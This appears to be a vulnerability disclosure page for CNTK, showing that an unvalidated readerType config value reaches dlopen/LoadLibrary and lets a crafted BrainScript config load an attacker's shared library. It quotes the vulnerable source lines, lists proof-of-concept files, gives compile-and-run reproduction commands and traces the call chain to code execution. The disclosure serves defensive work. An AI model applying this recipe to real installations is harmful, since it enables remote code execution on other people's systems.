Views
No views yet
readerType config parameter directly to Plugin::Load(), which calls dlopen() (Linux) or LoadLibrary() (Windows) with the attacker-controlled value. No allowlist, no path validation, no signature verification.1// DataReader.cpp:102 — readerType from config, no validation
2wstring readerType = thisIO(L"readerType", L"Cntk.Deserializers.TextFormat");
3GetReaderProc getReaderProc = (GetReaderProc) Plugin::Load(readerType, ...);
4
5// File.cpp:1087 — dlopen with attacker-controlled path
6void* handle = dlopen(soName.c_str(), RTLD_LAZY); // soName = readerType + "-VERSION.so"| File | Description |
|---|---|
evil_reader.c | Malicious shared library — constructor executes on dlopen |
poc_dlopen.bs | BrainScript config that triggers loading the malicious library |
1# 1. Compile malicious shared library (adjust version as needed)
2gcc -shared -fPIC -o /tmp/evil-2.7.so evil_reader.c
3
4# 2. Run CNTK with the malicious config
5cntk configFile=poc_dlopen.bs
6
7# 3. Verify RCE
8cat /tmp/cntk_rce_proof.txtBrainScript config (.bs file)
→ readerType = "/tmp/evil"
→ DataReader::DataReader() [DataReader.cpp:102]
→ Plugin::Load(readerType, ...) [DataReader.cpp:105]
→ Plugin::LoadInternal() [File.cpp:1068]
→ soName = "/tmp/evil-2.7.so" [File.cpp:1082-1084]
→ dlopen(soName.c_str()) [File.cpp:1087] ← RCE
→ __attribute__((constructor)) executes attacker code